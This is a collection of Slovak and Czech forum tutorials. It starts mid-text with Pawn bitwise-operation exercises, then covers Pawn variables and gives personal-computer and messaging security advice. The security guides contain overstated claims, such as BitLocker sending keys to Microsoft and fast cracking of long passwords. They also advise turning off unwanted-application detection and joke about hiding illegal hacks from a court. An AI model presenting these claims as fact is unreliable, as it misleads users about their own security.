každá operácia trvá určitý čas a z úmyslu ušetriť pamäť by výsledok mohol byť až strata rýchlosti. Ak potrebujete pracovať s binárnymi číslami, Windows kalkulačka je najvhodnejší nástroj (Štart->calc.exe->Možnosti->Programátorská). Otázky sa môžete pýtať v komentároch. Veľa šťastia a nových vedomostí. 2. Bitové operácie Najmenšia dátová jednotka na počítači je bit, ktorý patrí do množiny {0, 1}. Vždy nadobúda práve jednu hodnotu. Operácie prebiehajú v dvojkovej sústave. Desiatková sústava pozostáva z {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}. Jeden bajt má osem bitov. Keďže v Pawn sa používajú len 4-bajtové premenné, všetky bunky majú 32 bitov. Množina {0, 1} sa dá zobraziť do množiny {false, true}. Premenná, ktorá môže nadobúdať iba hodnoty true a false máva typ "bool", po matematikovi Georgeovi Booleovi. Pawn umožňuje vypisovať čísla v binárnom tvare na konzolu. Stačí do printf() dať namiesto "%d" (decimal - desiatková sústava) "%b" (binary - binárna sústava). Kód si spustite. #include <a_samp> main() { for (new i; i < 16; i++) { printf("%2d = 0b%04b", i, i); } } Cvičenie 1. V Pawn existujú kľúčové slová true a false. Keďže je to beztypový jazyk, je možné zamieňať typy premenných (vyskočí iba warning). Zistite k akým celočíselným hodnotám sa dajú priradiť výrazy true a false pomocou nasledujúceho kódu: #include <a_samp> main() { new a = ??; if (a) { ?? } } 3. Operácia not Všetky bity naraz je možné znegovať operáciou not, ktorá má len 1 argument a značí sa '~'. #include <a_samp> main() { new a = 0b11001100; printf("%032b", a); printf("%032b", ~a); } 4. Operácie and, or Operácie and a or majú dva parametre a ich výsledkom je jedna premenná s rovnakým počtom bitov. Operácie and a or sa v Pawn vykonávajú na všetkých bitoch premennej zaradom, akoby v cykle. Najprv sa vykoná operácia na prvých bitoch premnenných, potom na druhých bitoch premenných, atď. Pawn obsahuje operátor '&' pre operáciu and, ktorá je tiež nazývaná "bitový súčin". Súčin preto, lebo výsledok tejto operácie je "1" iba v prípade, že obidva parametre sú "1". Operáciu or (tiež nazývanú logický súčet) zapisujeme v Pawne operátorom '|'. To, ako Pawn chápe '&' a '|', nám môže sám ukázať. Vašou úlohou je tieto operácie pochopiť priamo od neho. Výstup programu kvôli prehľadnosti pripomína mechanické sčitovanie "pod sebou na papieri". #include <a_samp> main() { new a = 0b1010, b = 0b1100; printf("0b%b\n0b%b &\n------\n0b%b\n\n", a, b, a & b); printf("0b%b\n0b%b |\n------\n0b%b\n\n", a, b, a | b); } Cvičenie 2. Pri prenose dát sa z kontrolných dôvodov pridáva k preneseným dátam jeden bit navyše, jedná sa o tzv. paritný bit. Prenáša sa 8 dátových bitov a jeden paritný - ten úplne naľavo je paritný. (tj. "100000101"). Vašou úlohou je naprogramovať detekciu hodnoty paritného bitu. Doplňte do nasledujúceho kódu operáciu binárneho súčinu, aby kód správne fungoval. Rada: Chcete detekovať, či bol daný bit nastavený na "1". #include <a_samp> main() { new number = 0b100101101; if (parityBitSet(number)) { print("Paritny bit je nastaveny na 1."); } } parityBitSet(number) { if (??) { return true; } else { return false; } } Cvičenie 3. V zastaralej databáze údajov, ktorá musela šetriť maximálny možný priestor, sú údaje o obyvateľoch uložené v bitoch. Napr. nultý bit (úplne vpravo) obsahuje pohlavie (0-muž/1-žena), ten vedľa neho obsahuje informáciu, či osoba poberá dávky v hmotnej núdzi, nasledujúci hovorí o zamestnanosti danej osoby, atď. Databáza používa celkovo 16 bitov, ostatné sú nedefinované. V novej verzii databázy sa zmenil význam piateho bitu a preto chceme bez zmeny ostatných informácií vynulovať daný bit každej osobe. Doplňte procedúru update() tak, aby databáza spĺňala nové požiadavky. #include <a_samp> new people[] = { 0b1100111100110101, 0b0011001101010101, 0b1111111001110111 }; main() { update(); for (new i; i < sizeof(people); i++) { printf("%016b", people[i]); } } update() { for (new i; i < sizeof(people); i++) { ?? } } 5. Operácie shl a shr Nasledujúce dve operácie vykonávajú aritmetické bitové posuny. Aritmetické znamená, že pri posune sa zachová (záporné), alebo vznikne (záporné) znamienko. SHL a SHR sú skratky pre shift left a shift right. Operátormi pre tieto operácie sú "<<" a ">>". Argumentom bitového posunu je počet bitov, o ktoré chceme číslo posunúť. Pri operátore "<<" je novo-pridaný bit 0. #include <a_samp> main() { new a = 1; for (new i; i < 8; i++) { printf("%08b", a << i); } printf(""); a <<= 3; // je mozne pouzit aj tuto syntax printf("%08b", a); } Na binárnej úrovni sa rozlišujú záporné a kladné čísla najvyšším bitom, tj. celková kapacita 4 bajtov je rozdelená na 2 polovice - kladnú a zápornú. U záporných čísel je 31. bit (ten úplne naľavo) vždy 1, pričom u kladných 0. Aritmetický posun vpravo sa teda správa ináč než ten vľavo. Znamienko čísla sa zachováva pri operácii ">>". Operácia ">>" akoby preskočí bit, ktorý určuje zápornosť čísla a posúva všetky ostatné bity. Lepšiu predstavu o tomto procese získate spustením nasledujúceho kódu. Existuje ešte tretí, logický operátor pre posun vpravo, ktorý (záporné) znamienko nezachováva ani nevytvára. Tento operátor je ">>>". #include <a_samp> main() { new a = -10; printf("%032b = %d", a, a); printf("%032b = %d", a >> 1, a >> 1); printf("%032b = %d", a >> 2, a >> 2); printf("%032b = %d", a >>> 1, a >>> 1); printf("%032b = %d", a >>> 2, a >>> 2); } Cvičenie 4. Majme v desiatkovej sústave číslo "65421". Toto číslo z hlavy vydeľte číslom "100", resp. "10^2". Zvyšok zanedbajte. Výsledok si overte. Cvičenie 5. Majme v binárnej sústave číslo "1101010". Z hlavy vydeľte toto číslo číslom "4", resp. "2^2". Zvyšok zanedbajte. Výsledok si overte. Rovnakým spôsobom výsledok vynásobte číslom "4". Dostali ste pôvodné číslo? Cvičenie 6. Doplňte riešenie cvičenia 2 tak, aby nie len kontrolovalo paritný bit, ale aby kontrolovalo, či je paritný bit správny. Skontrolujte hodnotu všetkých bitov a rozhodnite, či ich počet (či sú párne) sedí s informáciou z paritného bitu. Takáto kontrola sa v praxi používa pri prenose dát. Cvičenie 7. Doplnením do kódu nižšie vygenerujte číslo s takýmto tvarom: "0b1010101010101010". Rada: použite okrem operácie na bitový posun aj bitový súčet (na nastavenie bitu) a bitový súčin (na overenie/zistenie hodnoty nejakého bitu). #include <a_samp> main() { new number = 0; for (new i; i < 15; i++) { if (!(??)) { ?? } ?? } printf("0b%016b", number); } 6. Operácia xor Ako aj v názve, tak aj vo funkcionalite sa podobá operácii or. #include <a_samp> main() { new a = 0b1010, b = 0b1100; printf("0b%b\n0b%b ^\n------\n0b%04b\n\n", a, b, a ^ b); } Cvičenie 8. Istý fanúšik jazyka assembler, Rendall Hide, má rád prácu s bitmi. Posledne o sebe tvrdí, že našiel vlastnosť, ktorá dokáže nastaviť zázračným spôsobom hodnotu akejkoľvek premennej na 0. Mnohí ho majú za blázna a nepočúvajú čo hovorí, ale je naozaj blázon, alebo len neodborná programátorská verejnosť nerozumie kráse jeho mágie? Tvrdí, že dokáže vynulovať premennú bez použitia iných konštánt ako "0" a bez operácií ako násobenie, odčítanie či and. Údajne je táto vlastnosť zapísaná tu: n xor n = 0 Preskúmajte túto údajnú vlastnosť a overte, či Rendall Hide bol naozaj blázon, alebo majster majstrov. Cvičenie 9. Nádejný programátor Peter "VlastneŠifrovanieJeNajlepšie" Skutočný si všimol neuveriteľnú a jedinečnú vlastnosť operácie xor. Nazdáva sa, že by možno odhalil niečo, čo by nazýval "symetrické šifrovanie", hoc názvom si ešte nie je istý. Prezrite a vylúštite na bitovej úrovni pozadie tejto operácie. #include <a_samp> const secret = 123456; main() { new number = 9087324; number = encode(number); printf("My new hashed password is: %d", number); number = decode(number); printf("The real password is: %d", number); } encode(number) { return number ^ secret; } decode(number) { return number ^ secret; } Cvičenie 10. Alen During, známy hejter, si s obľubou prezerá internet a hľadá veci na kritiku. Po zlej noci počas ranného rituálu s telefónom našiel príspevok Petra Skutočného a jeho procedúry encode() a decode(). Nemal však chuť sa niečím takým zaoberať a tak mu zo svojho smartphone-u poslal jediný snippet bez slov. Čo ním asi chcel povedať? #include <a_samp> main() { new crackedSecret = gimmeSecret(9087324, 9128732); printf("%d", crackedSecret); } gimmeSecret(pass, hashedPass) { return pass ^ hashedPass; }
  22. Obtížnost: Osnova: 1. Úvod, co je to proměnná 2. Deklarace (vytvoření) proměnné 3. Přiřazování hodnot 4. Datové typy (tagy) 5. Lokální a globální proměnná 6. Závěr 1. Úvod Zdravím Vás, tohle je první ze série návodů věnujících se základům jazyka Pawn. Cílem těchto návodů je seznámit Vás se strukturami tohoto jazyka, s jeho syntaxí a s jeho využitím v praxi. Tento návod se bude věnovat proměnné. Co je to proměnná? Pod pojmem proměnná si můžeme představit nějaké místo v paměti, které má svůj název a do kterého si pro naše potřeby ukládáme hodnoty. Všichni proměnné už známe, a to z matematiky – zde proměnné jako x a y používáme nepřetržitě. A funguje to i podobně – v matematice za ně můžeme dosazovat různé hodnoty, v programování do nich také ukládáme různé hodnoty. 2. Deklarace (vytvoření) proměnné Prvním naším krokem bude deklarace proměnné. Když mluvíme o deklaraci proměnné, máme na mysli, víceméně, její vytvoření. To provedeme následovně: . new id; . Pomocí slova new deklarujeme nové proměnné. Jinak to nejde, jazyk to od nás vyžaduje. id je název (identifikátor) naší nové proměnné. V názvu můžeme používat standardní písmena (A až Z, a až z), číslice (0 až 9) a podtržítko (_). Název bychom měli volit tak, aby odpovídal tomu, k čemu budeme proměnnou potřebovat (např. penize – pro ukládání peněz apod.) Středníkem (;) deklaraci ukončíme. Jazyku tak sdělíme fakt, že jsme s tímto příkazem (s deklarací proměnné) skončili. Takhle to funguje i u jiných příkazů, ne jenom u deklarací. Pokud potřebujeme deklarovat více proměnných najednou, je to možné provést tak, že jednotlivé názvy oddělíme čárkou, takhle: . new id, penize, score; . Takto jsme vytvořili 3 proměnné naráz. 3. Přiřazování hodnot Teď už víme, jak proměnnou vytvořit. Jak do ní ale uložím hodnotu? To udělám pomocí operátoru rovnítko / rovná se (=). . id = 5; . Na levé straně (tzv. lvalue) máme proměnnou, do které chceme ukládat, poté následuje rovnítko, které nám určí, že do proměnné ukládáme hodnotu, a nakonec přichází samotná hodnota (tzv. rvalue). Hodnotou může být číslo, ale také jiná proměnná nebo výraz. Stejně jako deklaraci, tak i tento příkaz zakončíme středníkem. Ono středníkem budeme ukončovat téměř všechno, ale to brzy samo vyjde najevo. Pokud bychom chtěli přiřadit hodnotu už při deklaraci, tak i to nám Pawn dovoluje: . new id = 7; new id = 1, penize = 5000, score = -100; //znak mínus (-) před hodnotou nám značí zápornou hodnotu . Pro zajímavost (rozklikněte spoiler): 4. Datové typy (tagy) Už umíme proměnnou vytvořit a přiřadit jí hodnotu. Teď si musíme říct něco o datových typech. Datový typ nám určuje, jaké hodnoty můžeme do proměnné uložit. Může se jednat o běžná celá čísla (ty jsme používali do teď), ale pak také můžeme ukládat čísla s desetinnou čárkou, různé texty, znaky apod. Čím se nám to bude lišit, když budeme chtít do proměnné uložit např. číslo s desetinnou čárkou? Bude se to lišit způsobem deklarace. Vyjmenujme si všechny běžné datové typy a způsob, kterým je budeme deklarovat. a) Celá čísla (7, 666, -5, -114 apod.) new cela_cisla; //deklarujeme tak, jak jsme se před chvílí naučili cela_cisla = 7; . b ) Reálná čísla – čísla s desetinnou čárkou (3.14159, 10.254, -177.8, -23.23 apod.) new Float:realna_cisla; //před název proměnné jsme přidali tzv. tag, a to tag "Float:" realna_cisla = 3.14159; //tečka (.) nám v programování představuje desetinnou čárku . c) Logické hodnoty (true a false) Logické hodnoty máme jen dvě, a to pravda (true) a nepravda (false). . new bool:logicke_hodnoty; //doplníme tag "bool:" logicke_hodnoty = true; . d) Znaky Znakem může být cokoliv, co najdete na klávesnici – písmeno, číslice, vykřičník, pomlčka atd. Deklarace se neliší od celých čísel, ale ukládání ano! . new znak; //stejné jako u celých čísel znak = 'a'; //ukládaný znak musíme vložit mezi apostrofy (') . e) Řetězec/string ("abcd1234?!", "jak se máš?", "jsem programátor" apod.) Řetězec není nic jiného než posloupnost několika znaků. Jsou to slova, věty, hesla, vše, co nás napadne. Liší se deklarací i ukládáním! . new retezec[10+1]; //v hranatých závorkách [] udáváme délku řetězce, to je ta 10, a navíc přičteme ještě jedničku kvůli potřebám jazyka Pawn retezec = "abcd1234?!"; //ukládaný řetězec znaků musíme vložit mezi uvozovky (") . Pro zajímavost (rozklikněte spoiler): Těch tagů je omnoho více, ale když teď známe jejich princip, nebude těžké se vypořádat ani s těmi ostatními. 5. Lokální a globální proměnná Proměnná se dělí na dva typy podle toho, kde ji deklarujete. Globální proměnná se nejčastěji deklaruje nahoře ve scriptu, těsně pod #include a #define. S touto proměnnou můžete pracovat všude ve scriptu. Oproti tomu lokální proměnná se deklaruje v určitém bloku (bloky nám určují složené závorky { }) a má platnost pouze v něm a v podřazených blocích. Názorná ukázka: . public OnPlayerConnect(playerid) { if(playerid == 0) { new id; id = 5; //bude fungovat, tohle je stejný blok, kde je deklarace if(IsPlayerInAnyVehicle(playerid)) { id = 0; //bude fungovat, tohle je podřazený blok } } id = 7; //nebude fungovat, zahlásí nám to chybu, protože tohle už je nadřazený blok } . 6. Závěr A takhle jsme došli ke konci návodu o proměnné. Dnes jsme se dozvěděli, co je to proměnná, k čemu slouží, jak do ní ukládat hodnoty a výrazy, jaké hodnoty do ní lze ukládat a jak ji rozdělujeme dle platnosti. Navíc jsme si také ukázali, jak psát do kódu komentáře, to jsou ty poznámky, které jsme uvedli za znaky // (dvě lomítka). Za ně si lze psát své vlastní poznatky, připomínky atd. Ještě jednou říkám, že tento návod slouží pro úplné začátečníky, pokročilejší věci byly buďto úplně vynechány, nebo jsou uvedeny ve spoilerech. Přesto, zdá-li se Vám, že jsem něco opomněl, někde jsem se spletl nebo se jen chcete vyjádřit, pište do tohoto tématu. Ověřený návod Tento návod prošel validací, a lze ho proto považovat za ověřený.
  23. Hunterov úvod do bezpečnosti Základné tipy, ako zabezpečiť svoj počítač a svoje online účty. Tento návod predpokladá, že používate Windows. Toto nieje návod na štýl krok po kroku, skôr ide o súhrn vecí, ktoré by ste mali spraviť a aplikácií, ktoré vám s tým môžu pomôcť. Návody, ako jednotlivé kroky spraviť nájdete tipicky v odkazoch, ktoré som priložil, alebo pomocou Googlu. Ak máte nejaké pripomienky, napíšte mi ich prosím a ja tento návod prípadne upravím. 1 Základy Základné triky, ako zabrániť niekomu, aby sa dostal na vaše webové účty. 1.1 Bezpečné heslá Základom bezpečnosti je zvoliť si bezpečné heslá. Určite vám ludia povedali, že bezpečné heslo musí mať aspom 8 znakov, že musí obsahovať malé a velké písmená, čísla, znaky, hieroglify, motivačný slogan. Neverte im, sú to americký sabotéry. Takéto heslá sa ťažko pamätajú a niesu nijak zvlášť bezpečné. Ak chcete bezpečné heslo, nájdite si najbližší slovník a náhodne z neho vyberte 4 slová, odstráňte diakritiku a ak chcete ich vysklonujťe alebo ich nechajte tak a máte svoje heslo. Napríklad: "StolickaKlameVyslednemuRazu". Takéto heslo si oveľa jednoduchšie zapamätáte ako napríklad "qeP2Ub%L" a hádajte čo? Je aj bezpečnejšie. Ak váš slovník má 10 000 slov, tak sila tohoto hesla je 53 bitov, zatiaľ čo náhodné 8 znakové heslo má 50-52 bitov. A na rozdiel od náhodného hesla ho nemusíte mať napísané na lístočeku vedľa počítača, kde ho môže hocikto nájsť. 1.2 Správca hesiel (KeePass) No ale aj takýchto pekných hesiel si veľa nezapamätáte a používať rovnaké heslá na viacerých webstránkach je veľmi nebezpečné, preto je vhodné používať správcu hesiel (Password Manager). Já osobne odporúčam KeePass. KeePass vám vytvorí náhodné heslá a zašifrované vám ich uchová vo vašom počítači. Vaše heslá zostavajú u vás v PC, takže sa nemusíte báť, že niekto hackne KeePass, alebo, že KeePass prestane fungovať a vy o vaše heslá prídete, ako tomu je u podobných služieb od iných poskytovateľov. Ja osobne ukladám svoju databázu hesiel na Google Drive (Teraz tomu vraj hovoria google backup and sync? Čo tý ľudia v tom marketingovom oddelení hulia, keď si myslia, že takýto názov je lepší ako Drive fakt netuším. Kto vám v bežnej konverzácie bude hovoriť "Dám ti to na google backup and sync."?!). Vďaka tomu ju jednak nestratím, ak mi napríklad odíde disk na PC a jednak ju môžem používať na telefóne pomocou Keepass2Android. Ak máte svoju databázu v Google Drive neukladajte do nej heslo od Google, pretože sa k nemu bez tohoto hesla aj tak nedostanete. Takto by ste mohli prísť o všetky svoje heslá! Nemusíte sa báť, že by Google mal prístup k vašim heslám, databáza hesiel je šikovne šifrovaná pomocou vašeho hlavného hesla a používa taktiež PIM1. Každopádne taktiež používam rozšírenie ChromelPass, ktoré heslá píše z KeePass priamo do webových stránok, lebo lenivosť. Pozor: Heslo z KeePassu sa nedá resetovať, pretože ho nikto okrem vás nevie a databáza sa bez neho nedá nijak dešifrovať. 1.3 Antivirový program Dobrý antivírový program je základ pre bezpečnosť a je to jediná oblasť v tomto návode, kde by som odporučil zaplatiť nejaké peniaze, ak chcete byť naozaj v bezpečí. Ja osobne používam ESET Smart Security (zrejme zas premenovali na Internet Security, meh), ktorý je platený, ale som veľmi spokojný. Jednoduchá inštalácia a funguje bez nejakého extra nastavovania, čo je obzvlášť plus, ak nieste bezpečnostný expert a všetkým tým zložitým nastaveniam nerozumiete. Jediná vec, ktorú by ste mali vypnúť pri inštalácii je "detekcia potenciálne nechcených aplikácií", čo v preklade znamená, že vám ESET bude vrieskať na každú blbosť ako crack, cheat a podobne. A na detekciu takýchto vecí ja aj tak lepší MawareBytes, o ktorom hovorím v sekcii 1.5. Je dostupných taktiež viacero programov, ktoré sú zadarmo, ale s týmy, ktoré som skúšal som vždy mal nejaké problémy a neviem vám doporučiť žiadny najlepší. Jediné čo k tomu poviem je, držte sa ďalej od McAfee. Myslým, že oni tú predponu anti v slove antivírus pridali len preto, aby zmiatli súpera... Taktiež nepoužívajte 2 antivírové programy naraz, viď. sekcia 1.5. 1.4 2FA (Dvojfázové overenie) Niektoré webstránky umožňujú používať takzvané dvojstupňové overenie (Two Factor Authentication, 2FA). 2FA znamená, že sa pri prihlásení okrem hesla musíte ešte overiť pomocou napríklad svojho telefónu. Vysoko odporúčam si 2FA aktivovať minimálne pre váš Google účet (pamätajte, že na ňom máte databázu všetkých svojich hesiel, aj keď šifrovanú, ale heslo vám niekto môže dopozerať, keď ho píšete) a na váš mail (ak používate Gmail, tak máte 2 v jednom), pomocou ktorého vám niekto môže restovať všetky vaše heslá a dostať sa všade. POZOR: Vytvorte a odložte si záložné kódy!!! Ak sa niečo stane s vaším telefónom (stratíte, utopíte, pokazí sa) a nebudete mať záložné kódy, tak sa nedostanete do svojich účtov a všetko stratíte. Kódy od Google si vytlačte, najlepšie v dvoch kópiách a uložte na bezpečné miesto, prípadne jednu kópiu môžete nosiť v penaženke. Ostatné kódy si môžete uložiť napríklad aj do KeePass do poznámok k heslám. Neukladaje tam kódy od Google, keďže vaša databáza je na Google drive!! Pretože na Google drive a tým pádom ani do KeePass sa bez nich potom nedostanete. 1.5 MalwareBytes MalwareBytes je veľmi užitočný nástroj na skenovanie počítača. Na rozdiel od bežných antivírov je veľmi dobrý v hľadaní menej nebezpečných, ako napríklad rôzne reklamné vírusy, ktoré vám neustále zobtazujú nejaké stránky pre dospelých a podobne. Odporúčam si ho nainštalovať a spustiť sken raz za čas. Neodporúčam vám si zaplatiť za prémiovú verziu. Prémiová verzia vám iba umožňuje používať MalwareBytes ako bežný antivír. Avšak MalwareBytes nieje až tak dobrý v zastavovaní vírusov a používať dva antiviráky nieje dobrý nápad. Jednak zbytočne spomalíte svoj počítač. Ale hlavne dva antivíry sú ako dve frajerky, je fajn mať jednu trvalo a jednou... skenovať... raz za čas, ale skúsiť ich obe nasťahovať k sebe domov by dopadlo zle. Neustále by sa hádali a mohlo by to byť nakoniec horšie, než mať len jednu. 1.6 HTTPS a VPN Každý, kto sa dokáže pripojiť medzi vás a internet dokáže odpočúvať a aj meniť, čo odosielate a prijímate a to vrátane hesiel. To zahŕňa nielen vašeho providera internetu, ale napríklad aj každého s prístupom k vašemu routeru. Ak router nieje správne zabezpečený, môže to dokonca zahŕňať každého, kto je k routeru len pripojený. Preto je potreba používať HTTPS všade, kde to je možné. HTTPS šifruje vaše spojenie a vďaka tomu zabraňuje odpočúvaniu aj meneniu. Avšak nie všetky weby poskytujú https. Ak chcete bezpečne navštevovať aj tie, môžete použiť VPN. VPN šifruje vaše spojenie a vďaka tomu zabraňuje špehovaniu od všetkých vyššie vymenovaných lumpov. Ale pozor: Váš poskytovateľ VPN vidí všetko, čo by normálne videl váš internetový provider. Preto je dôležité si vybrať VPN, ktorá aspoň tvrdí, že neukladá žiadne údaje, aj keď toto tvrdenie sa nedá overiť. Preto neprestaňte používať HTTPS aj keď máte VPN. VPN má taktiež tú výhodu, že skryje vašu IP adresu. 1.7 Vypnite RDP Vypnite RDP! RDP je niečo ako Team Virewer len horšie a vstavané priamo vo Windowse. Často to je zapnuté defaultne. Vypnite to! A keď hovoríme o TeamVirewery, ten vypnite tiež, keď ho nepoužívate. Alebo ak neviete ako, tak ho rovno odinštalujte. Keď ho budete potrebovať znovu tak o pol roka, tak ho proste nainštalujete znovu. Aspoň budete mať najnovšiu verziu. PS: Ak RDP naozaj potrebujete, zvazte jeho zablokovanie na firewalle PC a tunelovanie cez SSH. Touto metodou odstranite vacsinu problemov, ktore nastavaju pri beznom pouziti RDP. Usitite sa, ze mate SSH spravne nastavene. 2 Silnejšie zabezpečenie (porazte súrodencov, aj FBI) Ako zabezpečiť svoj PC, ak sa útočník dokáže k nemu dostať fyzicky. 2.1 VeraCrypt Používať heslo na Windowse je asi tak efektívne, ako nalepiť lístoček s textom "Nepoužívať bez povolenia" na monitor. Nástroje ako OphCrack dokážu prelomiť aj 16-miestne heslá za niekoľko minút. A dané heslo nakoniec ani nepotrebujete. Stačí vybrať disk a pripojiť ho k inému PC alebo nabootovať iný operačný systém z CD/USB a možete prechádzať všetky súbory bez hesla. Jediný spôsob, ako tomuto zabrániť je šifrovať svoj disk a to umožnuje open-source program zvaný VeraCrypt. VeraCrypt je nasledovník TrueCryptu, keďže vývojári TrueCryptu sa dobrovoľne rozhodli projekt ukončiť a odporučiť všetkým, aby používali bitlocker (Určite americké tajné služby v tom nemali prsty, určite ich nepresvedčili, že odovzdať všetku moc Microsoftu je dobré pre ich zdravie). VeraCrypt dokáže šifrovať celý disk, alebo len niektoré súbory, alebo aj oboje rôznymi heslami. Taktiež používa PIM1 a dokáže aj vytvárať takzvané skryté sekcie. To umožňuje v podstate skryť súbory do iných šifrovaných súborov. Takže povedzme, že máte rôzne nelegálne hacky v PC a niekto vás dotiahne pred súd. Sudca vám prikáže rozšifrovať zašifrované súbory, inak vás pošle do vezenia, až dokým nevyzradíte heslo. A tak mu vaše heslo poviete, lenže všetko čo nájde sú len rôzne por... exotické videá. Naštvaný prokurátor sa vás opýta, aké je heslo k vašim skrytým súborom v týchto súboroch, ale vy mu poviete, že tam žiadne niesu. A to, či tam sú sa nijako nedá zistiť, takže vás musia pustiť. Potom si len zadáte svoje druhé heslo do VeraCryptu a veselo si hackujete ďalej. Je ale kritické, aby ste PC vypli, než sa k nemu niekto dostane, keďže heslo sa zadáva len pri zapnutí PC a zapnutý PC môže používať každý. 2.2 BitLocker Nepoužívajte bitlocker. Ak vás zaujíma prečo, čítajte ďalej, ak nie, preskočte na ďalšiu sekciu. Bitlocker je šifrovacia aplikácia podobná VeraCryptu, ktorá je vyrobená Microsoft a pribalená priamo v niektorých Windowsoch. BitLocker síce funguje podobne ako VeraCrypt, ale s tým rozdielom, že keď niečo zašifruje, tak kľúče odošle priamo Microsoftu. Takže v predchádzajúcom príklade o súde sudca dostane všetky klúče hneď od Microsoftu a nemusí sa vás pýtať na nič. Hneď idete bručet. A nielen to, ale stačí aby niekto napríklad získal vaše heslo od Microsoft účtu, alebo mailu, alebo nejak inak presvedčil Microsoft, že ste to vy a môže vám resetovať heslo. 2.3 Windows Heslo V sekcii 2.1 som napísal, že windows heslo samé o sebe je úplne neefektívne a to je aj pravda. Avšak Windows heslo môže byť užitočné v kombinácii s napríklad VeraCryptom. VeraCrypt pýta heslo len keď zapnete počítač. Lenže od zapnutého počítača musíte často na chvíľu odísť. Preto je vhodné si na tú chvíľu zhačknúť widnows+L alebo ctrl+alt+del alebo a vybrať "zamknúť". Obísť windows heslo bez vypnutia PC je zložité, aj keď nie nemožné. Pre Windows heslo vám stačí niečo jednoduché, napríklad len pár čísiel, alebo jedno dve slová/mená. Úlohou tohoto hesla je len odradiť náhodné mašírovanie od súrodencov, spolubývajúcich a kolegov na tú chvíľu, kým ste preč od PC. Môžete si taktiež nastaviť, aby sa vám PC zamkol po niekoľkých minútach bez používania. 2.4 Heslo na telefóne Pre androiďákov tu, ak chcete mať svoj telefón v bezpečí, je nutné si zapnúť šifrovanie telefónu v nastaveniach a taktiež šifrovanie karty SD, ak nejakú máte a chcete ju v bezpečí. Používanie odtlačku prstu nestačí, keďže odtlačky sa zatiaľ nedajú použiť na šifrovanie. Ak používate biometriku, nieje zlý nápad si taktiež stiahnuť aplikáciu typu FindMyPhone alebo niečo podobné, ktorá vám umožní zamknúť telefón na heslo na diaľku. Taktiež si pamätajte, že pre súd je ťažké a vo veľa krajinách nelegálne vás donútiť vyzradiť heslo, ale jednoduché vás donútiť priložiť prst k snímaču, alebo zobrať vaše odtlačky. 2.5 Súkromný chat (s telefónnym číslom) Pre bezpečný chat momentálne platí jednoduché pravidlo, čím bezpečnejšie, tým menej vychtávok ako napríklad nálepky a menej ľudí, ktorý to používajú. Najpoužívanejšia chatová aplikácia, ktorá je aspoň ako tak bezpečná je Messanger, keď používate tajné konverzácie. Messanger používa Signal protokol. Tento protokol je považovaný za veľmi bezpečný, avšak to, že používate tajné konverzácie je nápadné a FB ukladá metadáta. To znamená, že FB nevie, o čom si píšete, ale vie, kedy, s kým, ako dlho, koľko správ a približne ako dlhých. To nieje ideálne. Taktiež to funguje len cez telefón, nie PC. Taktiež vám appka pre telefón z telefónu kradne telefónne čísla a odosiela vašu polohu GPS. Druhá často používaná aplikácia je WhatsApp. Táto aplikácia používa Signal protokol na všetky konverzácie, aj na hlasové hovory. Avšak WhatsApp je momentálne vlastnený Facebookom, takže FB taktiež zbiera vaše metadáta (kdo, kde, kedy, s kým, koľko, ako dlho). Taktiež pre FB kradne vaše telefónne číslo, ako aj čísla všetkých vašich kontaktov v telefóne. Či kradne vašu GPS polohu momentálne neviem. Najbezpečnejšia, ale najmenej populárna apka je Signal. Áno, apka menom Signal používa Signal protokol na všetko. Ide o appku priamo od vývojárov Signal protokplu a verejne ju chválil aj Edward Snowden. Signal zaručuje, že neukladá žiadne metadáta ani telefónne čísla vašich kontaktov (aj keď ich odosielať pre fungovanie musí). Signal je Open-Source aplikácia a jej kód, vrátane kódu serveru si teda môžete overiť. Signal momentálne pracuje na spôsobe, ako overiť, že servery naozaj používajú zverejnený kód (a nie kód, ktorý ukladá informácie) pomocou Intel Trusted Platform. 2.6 Súkromný chat (bez telefónneho čísla) Bohužial, aplikácií ktoré nevyžadujú telefónne čisla nieje veľa a sú pomerne neznáme a nepoužívané. Ja osobne som zatiaľ skúšal Wire a Tox. Obe su open-source, ale ani jedna z nich ma nijak moc nenadchla. Wire je aplikácia, ktorá je zadarmo pre ľudí a platená pre firmy. Naposledy keď som ju skúšal bola plná bugov (aj keď na nej od tej doby zrejme zapracovali). Prešla však nezávislým auditom, čo znamená, že by mala byť relatívne bezpečná. Tox je nekomerčný projekt a používa P2P technológiu miesto serverov, takže nikto nemôže získavať metadáta. Avšak to taktiež znamená, že nemôžete poslať správu niekomu, kto nieje online, keďže nieje žiadny server, ktorý by mu ju zatiaľ podržal. Taktiež Tox neprešiel žiadnym auditom a jeho tvorcovia sa chovajú dosť nevhodne, čo sa bezpečnej aplikácie týka. Preto bezpečnosť toxu je značne pochybná. 3. Poznámky 1. PIM (Personal Iteration Multiplier) spôsobuje, že prevedenie hesla na kľúč trvá nejakú dobu, v prípadne KeePass 1-2 sekundy. Preto sa zdá, že otváranie KeePassu je pomalé. Ale vďaka tomu niekto, kto tipuje heslá taktiež musí čakať na každý pokus 1 sekundu (na každom jadre CPU, ktoré má). Takže napríklad prelomiť osemmiestne heslo, ktoré je len z číslic (napr. 8428 1158) by normálne trvalo na bežnom PC 5-10 minút bez PIM a cca 4 roky s PIM. PIM je super!
  24. Hunterov úvod do bezpečnej komunikácie Pokračovanie môjho návodu Hunterov úvod do bezpečnosti. Tentokrát sa zameriavam na bezpečnú komunikáciu cez internet. V tomto zozname som vybral len aplikácie, ktoré stoja za zváženie a majú rôzne výhody a nevýhody. Aplikácie, ktoré sú podobné alebo horšie ako uvedené som nespomínal, keďže nieje dôvod ich používať. 1. E-Mail 1.1 Proton mail Protonmail je email zameraný na bezpečnosť. Používa sa pomocou prehliadača alebo mobilnej aplikácie. Výhody: + Skoro každý má e-mail + E2E Šifrovanie, takže ani protonmail nemôže vidieť vaše správy + Hostované vo švajčiarsku, kde právo na súkromie je zakotvené v ústave Nevýhody: - Bezpečnosť v prehliadači je pochybná v porovnaní s aplikácoiu - Ak ten, s kým komunikujete nepoužíva proton mail, tak je šifrovanie zložitejšie a menej bezpečné. 1.2 Enigmail Enigmail je rozšírenie pre Mozilla Thunderbird. Umožnuje šifrovanie mailov pomocou GPG. Výhody: + Skoro každý má e-mail + Funguje s každým providerom e-mailu. + GPG je staré a dobre otestované Nevýhody: - GPG je veľmi zložité na správne použitie, ľahko spravíte kritickú chybu, ktorá znehodnotí vašu bezpečnosť 2. IM s telefónnym číslom 2.1 Signal Signal je aplikácia podobná whatsapp. Používa silné E2E šifrovanie pomocou Signal protokolu, takže provider nevidí obsah vašich správ. Signal neukladá metadáta, jedine čo sa ukladá je: dátum registrácie, dátum posledného prihlásenia. 